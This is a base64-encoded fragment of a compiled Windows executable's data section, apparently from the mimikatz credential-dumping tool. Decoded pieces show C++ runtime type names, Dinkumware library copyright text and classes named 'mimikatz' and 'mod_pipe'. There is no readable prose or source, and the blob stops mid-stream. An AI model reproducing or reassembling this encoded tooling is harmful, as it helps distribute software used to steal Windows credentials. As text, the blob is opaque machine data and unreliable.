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AAAAAAAAAAAAAAAA8mgaAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADyaBoABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPJoGgAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8mgaAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0JMGgAEAAAAAAAAAAAAAAAAAAAAAAAAAACMFgAEAAACQJwWAAQAAABApBYABAAAAQJoGgAEAAAAAnQaAAQAAAACdBoABAAAA4J8GgAEAAAD/////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAgICAgICAgICAgICAgICAgMDAwMDAwMDAAAAAAAAAAD//////////4AKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAAAAAAAAAgICAgICAgICAgICAgICAgICAgICAgICAgIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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